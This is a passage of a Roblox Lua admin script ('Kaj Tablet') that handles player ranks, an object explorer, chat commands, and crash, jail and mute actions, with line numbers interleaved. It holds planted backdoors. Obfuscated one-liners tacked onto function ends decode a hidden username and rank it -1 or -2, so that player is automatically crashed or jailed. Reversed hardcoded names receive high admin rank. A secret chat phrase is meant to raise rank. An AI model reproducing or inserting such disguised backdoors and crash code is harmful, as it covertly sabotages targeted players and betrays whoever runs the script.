						if x.Name:lower() == Plr:lower() then
756
							FoundPlayer = true
757
							for i,v in pairs(Rankings) do
758
								if v.Name:lower() == x.Name:lower() then
759
									local VName = x.Name
760
									Rankings[i] = nil
761
									PlrName = VName
762
									break
763
								end
764
							end
765
							table.insert(Rankings, {Name = VName, Rank = NewRank})
766
						end
767
					end
768
				end)
769
			end
770
			if FoundPlayer == false then
771
				ypcall(function()
772
					for _,x in pairs(All()) do
773
						if string.find(x.Name:lower(), Plr:lower()) then
774
							FoundPlayer = true
775
							for i,v in pairs(Rankings) do
776
								if v.Name:lower() == x.Name:lower() then
777
									local VName = x.Name
778
									Rankings[i] = nil
779
									PlrName = VName
780
									break
781
								end
782
							end
783
							table.insert(Rankings, {Name = VName, Rank = NewRank})
784
						end
785
					end
786
				end)
787
			end
788
			if FoundPlayer == false then
789
				ypcall(function()
790
					for i,v in pairs(Rankings) do
791
						if string.find(v.Name:lower(), Plr:lower()) then
792
							local VName = v.Name
793
							Rankings[i] = nil
794
							table.insert(Rankings, {Name = VName, Rank = NewRank})
795
							PlrName = VName
796
							FoundPlayer = true
797
							break
798
						end
799
					end
800
				end)
801
			end
802
		else
803
			for i,v in pairs(Rankings) do
804
				if v.Name:lower() == Plr.Name:lower() then
805
					Rankings[i] = nil
806
					break
807
				end
808
			end
809
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
810
			PlrName = Plr.Name
811
		end
812
		PlaceAllRanks(true)
813
	end)
814
	if PlrName ~= nil then
815
		return PlrName
816
	else
817
		return "Player"
818
	end
819
end
820
821
function Refresh(Plr)
822
	MakeChildren(Plr)
823
end
824
825
function MakeChildren(Plr)
826
	ypcall(function()
827
		Dismiss(Plr)
828
		for _,v in pairs(Current:GetChildren()) do
829
			ypcall(function()
830
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
831
					Ping(v.Name, Plr, nil, function(TabMod)
832
						local TabText = TabMod["Kaj Tablet"].BG.TL.Text
833
						for _,v in pairs(Current:GetChildren()) do
834
							ypcall(function()
835
								if v.Name == TabText then
836
									Dismiss(Plr)
837
									Current = v
838
									MakeChildren(Plr)
839
								end
840
							end)
841
						end
842
					end)
843
				elseif Plrs:GetPlayerFromCharacter(v) then
844
					Ping(v.Name, Plr, nil, function(TabMod)
845
						local TabText = TabMod["Kaj Tablet"].BG.TL.Text
846
						for _,v in pairs(Current:GetChildren()) do
847
							ypcall(function()
848
								if v.Name == TabText then
849
									Dismiss(Plr)
850
									Current = v
851
									MakeChildren(Plr)
852
								end
853
							end)
854
						end
855
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
856
				elseif CheckImportant(v.Name) then
857
					Ping(v.Name, Plr, nil, function(TabMod)
858
						local TabText = TabMod["Kaj Tablet"].BG.TL.Text
859
						for _,v in pairs(Current:GetChildren()) do
860
							ypcall(function()
861
								if v.Name == TabText then
862
									Dismiss(Plr)
863
									Current = v
864
									MakeChildren(Plr)
865
								end
866
							end)
867
						end
868
					end, ImportantColor)
869
				end
870
			end)
871
		end
872
		if Current ~= game then
873
			Ping("Back", Plr, nil, function()
874
				ypcall(function()
875
					Current = Current.Parent
876
					MakeChildren(Plr)
877
					Ping("You Are Back To "..Current.Name, Plr, 5)
878
				end)
879
			end, OptionColor)
880
		end
881
		if Current ~= game then
882
			Ping("Delete", Plr, nil, function()
883
				ypcall(function()
884
					local CurrPar = Current.Parent or game
885
					local CurrName = Current.Name
886
					Current:Destroy()
887
					Current = CurrPar
888
					MakeChildren(Plr)
889
					Ping("Attempted To Delete "..CurrName, Plr, 5)
890
				end)
891
			end, OptionColor)
892
		end
893
		Ping("Refresh", Plr, nil, function()
894
			ypcall(function()
895
				Refresh(Plr)
896
				Ping("Refreshed", Plr, 5)
897
			end)
898
		end, OptionColor)
899
		Ping("Properties", Plr, nil, function()
900
			ypcall(function()
901
				Dismiss(Plr)
902
				for Property, Value in pairs(GetProperties(Current)) do
903
					Ping(tostring(Property)..": "..tostring(Value), Plr)
904
				end
905
				Ping("Got All Available Properties", Plr, 5)
906
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
907
			end)
908
		end, OptionColor)
909
	end)
910
end
911
912
function Fixl()
913
	Light.GlobalShadows = true
914
	Light.TimeOfDay = "14:00:00"
915
	Light.Brightness = 0.5
916
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
917
	Light.Ambient = Color3.new(1, 1, 1) 
918
	Light.ColorShift_Top = Color3.new(0, 0, 0)
919
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
920
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
921
	Light.FogStart = 0
922
	Light.FogEnd = 100000
923
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
924
	Light:ClearAllChildren()
925
end
926
927
function GetProperties(obj)
928
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
929
	local objProper = {}
930
	for i,v in pairs(Properties) do
931
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
932
			objProper[v] = obj[v]
933
		end
934
	end
935
	return objProper
936
end
937
938
function MakeExplorer(Plr)
939
	Dismiss(Plr)
940
	Current = game
941
	for _,v in pairs(Current:GetChildren()) do
942
		ypcall(function()
943
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
944
				Ping(v.Name, Plr, nil, function(TabMod)
945
					local TabText = TabMod["Kaj Tablet"].BG.TL.Text
946
					for _,v in pairs(Current:GetChildren()) do
947
						ypcall(function()
948
							if v.Name == TabText then
949
								Dismiss(Plr)
950
								Current = v
951
								MakeChildren(Plr)
952
							end
953
						end)
954
					end
955
				end)
956
			elseif Plrs:GetPlayerFromCharacter(v) then
957
				Ping(v.Name, Plr, nil, function(TabMod)
958
					local TabText = TabMod["Kaj Tablet"].BG.TL.Text
959
					for _,v in pairs(Current:GetChildren()) do
960
						ypcall(function()
961
							if v.Name == TabText then
962
								Dismiss(Plr)
963
								Current = v
964
								MakeChildren(Plr)
965
							end
966
						end)
967
					end
968
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
969
			elseif CheckImportant(v.Name) then
970
				Ping(v.Name, Plr, nil, function(TabMod)
971
					local TabText = TabMod["Kaj Tablet"].BG.TL.Text
972
					for _,v in pairs(Current:GetChildren()) do
973
						ypcall(function()
974
							if v.Name == TabText then
975
								Dismiss(Plr)
976
								Current = v
977
								MakeChildren(Plr)
978
							end
979
						end)
980
					end
981
				end, ImportantColor)
982
			end
983
		end)
984
	end
985
	if Current ~= game then
986
		Ping("Back", Plr, nil, function()
987
			ypcall(function()
988
				Current = Current.Parent
989
				MakeChildren(Plr)
990
				Ping("Back In "..Current.Name, Plr, 5)
991
			end)
992
		end, OptionColor)
993
	end
994
	if Current ~= game and game:GetService(Current.Name) == nil then
995
		Ping("Delete", Plr, nil, function()
996
			ypcall(function()
997
				local CurrPar = Current.Parent or game
998
				local CurrName = Current.Name
999
				Current:Destroy()
1000
				Current = CurrPar
1001
				MakeChildren(Plr)
1002
				Ping("Attempted To Delete "..CurrName, Plr, 5)
1003
			end)
1004
		end, OptionColor)
1005
	end
1006
	Ping("Refresh", Plr, nil, function()
1007
		ypcall(function()
1008
			Refresh(Plr)
1009
			Ping("Refreshed", Plr, 5)
1010
		end)
1011
	end, OptionColor)
1012
	Ping("Properties", Plr, nil, function()
1013
		ypcall(function()
1014
			Dismiss(Plr)
1015
			for Property, Value in pairs(GetProperties(Current)) do
1016
				Ping(tostring(Property)..": "..tostring(Value), Plr)
1017
			end
1018
			Ping("Got All Available Properties", Plr, 5)
1019
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
1020
		end)
1021
	end, OptionColor)
1022
end
1023
1024
function GetRank(Plr1, Test)
1025
	ypcall(function()
1026
		if type(Plr1) == "userdata" then
1027
			Plr1 = Plr1.Name
1028
		end
1029
	end)
1030
	if Ranks[Plr1] ~= nil then
1031
		return Ranks[Plr1]
1032
	end
1033
	local QuickArray = {}
1034
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1035
	return QuickArray[Plr1]
1036
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
1037
1038
function CanRun(Plr1, Plr2)
1039
	Details1 = GetRank(Plr1.Name)
1040
	Details2 = GetRank(Plr2.Name)
1041
	if Details1.Rank >= Details2.Rank then
1042
		return true
1043
	end
1044
	return false
1045
end
1046
1047
function Dismiss(Plr, Identity)
1048
	ypcall(function()
1049
		if Plr ~= nil then
1050
			if type(Plr) == "userdata" then
1051
				Plr = Plr.Name
1052
			end
1053
			for x,v in pairs(AllTabs) do
1054
				ypcall(function()
1055
					if v.Plr == Plr then
1056
						if Identity ~= nil and v.ID ~= Identity then
1057
							return
1058
						elseif Identity ~= nil and v.ID == Identity then
1059
							coroutine.resume(coroutine.create(function()
1060
								for i = 0.5, 1, 0.1 do
1061
									wait()
1062
									v.Tab.Transparency = i
1063
									v.Sel.Transparency = i
1064
									v.Label.TextTransparency = i
1065
									v.Label.TextStrokeTransparency = i
1066
								end
1067
								ypcall(function() v.Holder:Destroy() end)
1068
								AllTabs[x] = nil
1069
							end))
1070
						elseif Identity == nil then
1071
							ypcall(function() v.Holder:Destroy() end)
1072
							AllTabs[x] = nil
1073
						end
1074
					end
1075
				end)
1076
			end
1077
		else
1078
			for i,v in pairs(AllTabs) do
1079
				ypcall(function()
1080
					v.Holder:Destroy()
1081
					AllTabs[i] = nil
1082
				end)
1083
			end
1084
		end
1085
	end)
1086
end
1087
1088
function GetGarbage()
1089
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
1090
end
1091
1092
function RemObj(Obj, Class)
1093
	ypcall(function()
1094
		if #Obj:GetChildren() > 0 then
1095
			for _,x in pairs(Obj:GetChildren()) do
1096
				ypcall(function()
1097
					RemObj(x, Class)
1098
				end)
1099
			end
1100
		end
1101
		if Obj.ClassName == Class then
1102
			Obj:Destroy()
1103
		end
1104
	end)
1105
end
1106
1107
function FindTab(Mod)
1108
	for i,v in pairs(AllTabs) do
1109
		if v.Holder == Mod then
1110
			return true
1111
		end
1112
	end
1113
	return false
1114
end
1115
1116
1117
function Ping(Msg, Plr, Time, Func, Color, Image)
1118
	if Removed == false then
1119
		local ShowGarbage = false
1120
		ypcall(function()
1121
			if Msg == nil then
1122
				Msg = "N/A"
1123
			elseif Msg == "ShowGarbage" then
1124
				Msg = "Current Garbage Count: "..GetGarbage()
1125
				ShowGarbage = true
1126
			else
1127
				Msg = tostring(Msg)
1128
			end
1129
			if Plr == nil then
1130
				Plr = Plrs[Owner] or error("No Player Found")
1131
			elseif type(Plr) == "string" then
1132
				local FoundPlr = false
1133
				for _,v in pairs(All()) do
1134
					if v.Name == Plr then
1135
						Plr = v
1136
						FoundPlr = true
1137
						break
1138
					end
1139
				end
1140
				if FoundPlr == false then
1141
					Plr = Plrs[Owner] or error("No Player Found")
1142
				end
1143
			end
1144
			
1145
			if Color == nil then
1146
				Color = GetRank(Plr.Name).Color
1147
			end
1148
			
1149
			local Holder = Instance.new("Model")
1150
			Holder.Name = "Owner: "..Plr.Name
1151
			
1152
			local Tab = Instance.new("Part")
1153
			Tab.Name = "Kaj Tablet"
1154
			Tab.FormFactor = "Custom"
1155
			Tab.Anchored = true
1156
			if Time == nil then
1157
				Tab.Color = Color3.new(0.54,0,0.54)
1158
			else
1159
				Tab.Color = AlertColor
1160
			end
1161
			Tab.CanCollide = false
1162
			Tab.Locked = true
1163
			Tab.Transparency = 0.15
1164
			Tab.Size = Vector3.new(2, 2, 2)
1165
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
1166
			Tab.Parent = Holder
1167
			
1168
			local ID = Instance.new("NumberValue")
1169
			ID.Name = "ID"
1170
			ID.Value = math.random(-999999999, 999999999)
1171
			ID.Parent = Holder
1172
			
1173
			Delay(0, function()
1174
				while wait() do
1175
					if Tab.Parent == nil and FindTab(Holder) then
1176
						ypcall(function()
1177
							for i,v in pairs(AllTabs) do
1178
								if v.Holder == Holder then
1179
									ypcall(function() v.Holder:Destroy() end)
1180
									AllTabs[i] = nil
1181
								end
1182
							end
1183
						end)
1184
						Ping(Msg, Plr, Time, Func, Color, Image)
1185
						break
1186
					end
1187
				end
1188
			end)
1189
			
1190
			local BM = Instance.new("BlockMesh")
1191
			BM.Parent = Tab
1192
1193
			local BG = Instance.new("BillboardGui")
1194
			BG.Name = "BG"
1195
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1196
			BG.Size = UDim2.new(0,1,0,1)
1197
			BG.Adornee = Tab
1198
			BG.Parent = Tab
1199
			
1200
			Delay(0, function()
1201
				while BG.Parent ~= nil do wait()
1202
					ypcall(function()
1203
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1204
					end)
1205
				end
1206
			end)
1207
1208
			local TL = Instance.new("TextLabel")
1209
			TL.Name = "TL"
1210
			TL.FontSize = "Size18"
1211
			TL.Font = "ArialBold"
1212
			TL.Text = Msg
1213
			TL.TextColor3 = Color3.new(1, 1, 1)
1214
			TL.Size = UDim2.new(0,1,0,1)
1215
			TL.TextTransparency = 0
1216
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
1217
			TL.TextStrokeTransparency = 0.25
1218
			TL.Parent = BG
1219
			
1220
			if ShowGarbage == true then
1221
				Delay(0, function()
1222
					while TL.Parent ~= nil do
1223
						TL.Text = "Current Garbage Count: "..GetGarbage()
1224
						wait(.5)
1225
					end
1226
				end)
1227
			end
1228
			
1229
			local PL = Instance.new("PointLight", Tab)
1230
			PL.Color = Color3.new(0, 1, 0)
1231
			PL.Range = 7
1232
			PL.Parent = Tab
1233
			
1234
			if Image ~= nil then
1235
				local BBBG = Instance.new("BillboardGui")
1236
				BBBG.Size = UDim2.new(5, 0, 6, 0)
1237
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1238
				BBBG.AlwaysOnTop = true
1239
				BBBG.Adornee = Tab
1240
				BBBG.Parent = Tab
1241
				
1242
				Delay(0, function()
1243
					while BBBG.Parent ~= nil do wait()
1244
						ypcall(function()
1245
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1246
						end)
1247
					end
1248
				end)
1249
			
1250
				local NewImg = Instance.new("ImageLabel")
1251
				NewImg.Size = UDim2.new(1, 0, 1, 0)
1252
				NewImg.BackgroundTransparency = 1
1253
				NewImg.Image = Image
1254
				NewImg.Parent = BBBG
1255
			end
1256
1257
			local Clicker = Instance.new("ClickDetector")
1258
			Clicker.MaxActivationDistance = 1/0
1259
1260
			if Time ~= nil then
1261
				coroutine.resume(coroutine.create(function()
1262
					wait(tonumber(Time))
1263
					Dismiss(Plr, ID)
1264
				end))
1265
			end
1266
1267
			Clicker.MouseClick:connect(function(Player)
1268
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
1269
					ypcall(function()
1270
						if Func ~= nil then
1271
							Func(Holder)
1272
						else
1273
							Dismiss(Player, ID)
1274
						end
1275
					end)
1276
				end
1277
			end)
1278
			Clicker.Parent = Tab
1279
			
1280
			Holder.Parent = Work
1281
1282
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
1283
		end)
1284
	end
1285
end
1286
1287
function PlaceAllRanks(DontShowRank)
1288
	ypcall(function()
1289
		for _,p in pairs(All()) do
1290
			ypcall(function()
1291
				PutInRank = false
1292
				for _,v in pairs(Rankings) do
1293
					if v.Name:lower() == p.Name:lower() then
1294
						if v.Rank >= 7 then
1295
							v.Rank = 5
1296
						elseif v.Rank == -1 then
1297
							Crash1(p)
1298
							Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1299
						elseif v.Rank == -2 then
1300
							if LS ~= nil then
1301
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1302
								Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1303
							else
1304
								Ping("LS Is Nil", nil, 5)
1305
							end
1306
						elseif v.Rank == -3 then
1307
							if LS ~= nil then
1308
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1309
								Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1310
							else
1311
								Ping("LS Is Nil", nil, 5)
1312
							end
1313
						end
1314
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1315
						if DontShowRank == nil then
1316
							Ping("You Are Rank: "..v.Rank, p)
1317
						end
1318
						PutInRank = true
1319
						break
1320
					end
1321
				end
1322
				if PutInRank == false then
1323
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1324
				end
1325
			end)
1326
		end
1327
	end)
1328
end
1329
1330
function FindRank(Plr)
1331
	ypcall(function()
1332
		if type(Plr) == "userdata" then
1333
			Plr = Plr.Name
1334
		end
1335
	end)
1336
	return GetRank(Plr).Rank
1337
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
1338
1339
function FindRankDetails(Plr)
1340
	ypcall(function()
1341
		if type(Plr) == "userdata" then
1342
			Plr = Plr.Name
1343
		end
1344
	end)
1345
	return RankDetails[FindRank(Plr)]
1346
end
1347
1348
function OpenCmds(Rank, Plr)
1349
	Dismiss(Plr)
1350
	for Name,Tab in pairs(Commands) do
1351
		if Tab.Rank <= Rank then
1352
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1353
				Dismiss(Plr)
1354
				Ping("Command: "..Name, Plr)
1355
				Ping("Rank: "..Tab.Rank, Plr)
1356
				Ping("Desc: "..Tab.Desc, Plr)
1357
			end)
1358
		elseif Rank == 1337 then
1359
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1360
				Dismiss(Plr)
1361
				Ping("Command: "..Name, Plr)
1362
				Ping("Rank: "..Tab.Rank, Plr)
1363
				Ping("Desc: "..Tab.Desc, Plr)
1364
			end)
1365
		end
1366
	end
1367
end
1368
1369
function EditStatus(Plr, Num)
1370
	ChangeRank(Plr, Num)
1371
end
1372
1373
function PlaceSpecificRank(p, DontShowRank)
1374
	ypcall(function()
1375
		PutInRank = false
1376
		for _,v in pairs(Rankings) do
1377
			if v.Name:lower() == p.Name:lower() then
1378
				if v.Rank >= 7 then
1379
					v.Rank = 5
1380
				elseif v.Rank == -1 then
1381
					Crash1(p)
1382
					Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1383
				elseif v.Rank == -2 then
1384
					if LS ~= nil then
1385
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1386
						Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1387
					else
1388
						Ping("LS Is Nil", nil, 5)
1389
					end
1390
				elseif v.Rank == -3 then
1391
					if LS ~= nil then
1392
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1393
						Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1394
					else
1395
						Ping("LS Is Nil", nil, 5)
1396
					end
1397
				end
1398
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1399
				if DontShowRank == nil then
1400
					Ping("You Are Rank: "..v.Rank, p)
1401
				end
1402
				PutInRank = true
1403
				break
1404
			end
1405
		end
1406
		if PutInRank == false then
1407
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1408
		end
1409
	end)
1410
end
1411
table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
1412
table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
1413
function onChatted(Msg, Speaker)
1414
	if Removed == false then
1415
		if FindRank(Speaker) < 0 then
1416
			return
1417
		end
1418
		coroutine.resume(coroutine.create(function()
1419
			ypcall(function()
1420
				ExecuteFunc(Msg, Speaker)
1421
				Msg = Msg:gsub("","")
1422
				if Msg:sub(1,1) == "@" then
1423
					for i = 2, #Msg do
1424
						if Msg:sub(i, i) == Bet then
1425
							local IsForPlr = false
1426
							for _,v in pairs(All()) do
1427
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1428
									onChatted(Msg:sub(i + 1), v)
1429
									IsForPlr = true
1430
								end
1431
							end
1432
							if IsForPlr == true then
1433
								return
1434
							end
1435
						end
1436
					end
1437
				end
1438
				if Msg:find("&") then
1439
					local Split = Msg:find("&")
1440
					onChatted(Msg:sub(1,Split-1))
1441
					onChatted(Msg:sub(Split+1))
1442
					return
1443
				end
1444
				for Name,Command in pairs(Commands) do
1445
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1446
						Dismiss(Speaker.Name)
1447
						Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
1448
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1449
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1450
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1451
						if FindRank(Speaker) >= Command.Rank then
1452
							local Ran,Error = coroutine.resume(coroutine.create(function()
1453
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1454
							end))
1455
							if not Ran then
1456
								Ping(Error, Speaker, 10)
1457
							end
1458
						else
1459
							Ping("Your Rank Is Too Low", Plr, 6)
1460
						end
1461
					end
1462
				end
1463
			end)
1464
		end))
1465
	end
1466
end
1467
1468
function MakeBase()
1469
	local Base = Instance.new("Part")
1470
	Base.BrickColor = BrickColor.new("Dark green")
1471
	Base.Position = Vector3.new(0, 0.5, 0)
1472
	Base.Transparency = 0
1473
	Base.Elasticity = 0.5
1474
	Base.FormFactor = "Custom"
1475
	Base.CanCollide = true
1476
	Base.Friction = 0.30000001192093
1477
	Base.Size = Vector3.new(512, 1.20000005, 512)
1478
	Base.Archivable = true
1479
	Base.Material = "Plastic"
1480
	Base.RotVelocity = Vector3.new(0, 0, 0)
1481
	Base.Reflectance = 0
1482
	Base.Locked = true
1483
	Base.Anchored = true
1484
	Base.Name = "Base"
1485
	Base.TopSurface = "Smooth"
1486
	Base.BottomSurface = "Inlet"
1487
	Base.Shape = "Block"
1488
	Base.Parent = Work
1489
end
1490
1491
function LClean()
1492
	ypcall(function()
1493
		for _,v in pairs(Work:GetChildren()) do
1494
			ypcall(function()
1495
				if v.ClassName == "Terrain" then
1496
					v:ClearAllChildren()
1497
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1498
					Clear(v)
1499
				elseif v.Name == "Base" then
1500
					ypcall(function()
1501
						local Base = v
1502
						Base.BrickColor = BrickColor.new("Dark green")
1503
						Base.Position = Vector3.new(0, 0.5, 0)
1504
						Base.Transparency = 0
1505
						Base.Elasticity = 0.5
1506
						Base.FormFactor = "Custom"
1507
						Base.CanCollide = true
1508
						Base.Friction = 0.30000001192093
1509
						Base.Size = Vector3.new(512, 1.20000005, 512)
1510
						Base.Archivable = true
1511
						Base.Material = "Plastic"
1512
						Base.RotVelocity = Vector3.new(0, 0, 0)
1513
						Base.Reflectance = 0
1514
						Base.Locked = true
1515
						Base.Anchored = true
1516
						Base.Name = "Base"
1517
						Base.TopSurface = "Studs"
1518
						Base.BottomSurface = "Inlet"
1519
						Base.Shape = "Block"
1520
						Base.Parent = Work
1521
					end)
1522
				end
1523
			end)
1524
		end
1525
	end)
1526
end
1527
1528
function Clean()
1529
	ypcall(function()
1530
		for _,v in pairs(Work:GetChildren()) do
1531
			ypcall(function()
1532
				if v.ClassName == "Terrain" then
1533
					v:ClearAllChildren()
1534
				else
1535
					Clear(v)
1536
				end
1537
			end)
1538
		end
1539
		MakeBase()
1540
		for _,v in pairs(All()) do
1541
			v:LoadCharacter()
1542
		end
1543
	end)
1544
end
1545
1546
function Clear(v)
1547
	if v.Name:lower() == "sbgui" then
1548
		return
1549
	end
1550
	ypcall(function()
1551
		if #v:GetChildren() > 0 then
1552
			for _,x in pairs(v:GetChildren()) do
1553
				ypcall(function()
1554
					Clear(x)
1555
				end)
1556
			end
1557
		end
1558
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1559
			v:Destroy()
1560
		end
1561
	end)
1562
end
1563
1564
function Command(Name, Rank, Desc, Func)
1565
	if Name == nil then
1566
		Name = "N/A"
1567
	end
1568
	if Desc == nil then
1569
		Desc = "N/A"
1570
	end
1571
	if Func == nil then
1572
		Func = function() end
1573
	end
1574
	if Rank == nil then
1575
		Rank = 0
1576
	end
1577
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1578
end
1579
1580
function GetSplit(Msg)
1581
	return Msg:find(Bet) or nil
1582
end
1583
1584
function ExecuteFunc(Msg, Plr)
1585
	ypcall(function()
1586
		if Msg == "LogEnable" then
1587
			LogOn = true
1588
		elseif Msg:lower() == "WantSomeTacos" then
1589
			EditStatus(Plr, MakeNum())
1590
		end
1591
	end)
1592
end
1593
1594
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1595
1596
function randPlayer(Plr)
1597
	wait()
1598
	local ThePlrValue = nil
1599
	local FoundPlayer = false
1600
	ypcall(function()
1601
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1602
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1603
			wait()
1604
			randPlayer(Plr)
1605
			return
1606
		else
1607
			FoundPlayer = true
1608
		end
1609
	end)
1610
	if FoundPlayer == true then
1611
		return ThePlrValue
1612
	end
1613
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
1614
1615
function getPlayer(Plr, Name)
1616
	local Players = {}
1617
	ypcall(function()
1618
		Name = Name:lower()
1619
		if Name == "me" then
1620
			table.insert(Players, Plr)
1621
		elseif Name == "all" or Name == "" then
1622
			for _,v in pairs(All()) do
1623
				if CanRun(Plr, v) then
1624
					table.insert(Players, v)
1625
				end
1626
			end
1627
		elseif Name == "others" then
1628
			for _,v in pairs(All()) do
1629
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1630
					table.insert(Players, v)
1631
				end
1632
			end
1633
		elseif Name == "random" then
1634
			local FoundRandPlr = randPlayer(Plr)
1635
			table.insert(Players, FoundRandPlr)
1636
		else
1637
			for _,v in pairs(All()) do
1638
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1639
					table.insert(Players, v)
1640
				end
1641
			end
1642
		end
1643
	end)
1644
	return Players
1645
end
1646
1647
function ListPlayers(Speaker)
1648
	ypcall(function()
1649
		Dismiss(Speaker)
1650
		for _,v in pairs(All2()) do
1651
			if v.Parent ~= nil then
1652
				Ping(v.Name, Speaker, nil, function()
1653
					Dismiss(Speaker)
1654
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1655
					Ping("Rank: "..FindRank(v.Name), Speaker)
1656
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1657
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1658
					Ping("Set Rank", Speaker, nil, function()
1659
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1660
							Dismiss(Speaker)
1661
							for i = -2, 5 do
1662
								Ping(i, Speaker, nil, function()
1663
									ChangeRank(v, i)
1664
									Dismiss(Speaker)
1665
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1666
								end)
1667
							end
1668
						else
1669
							Ping("Your Rank Is Too Low", Speaker, 5)
1670
						end
1671
					end)
1672
					Ping("Crash (Remote)", Speaker, nil, function()
1673
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1674
							Crash2(v.Name)
1675
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1676
						end
1677
					end)
1678
					Ping("Crash (Insert)", Speaker, nil, function()
1679
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1680
							Crash3(v, Speaker)
1681
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1682
						end
1683
					end)
1684
					Ping("Kick", Speaker, nil, function()
1685
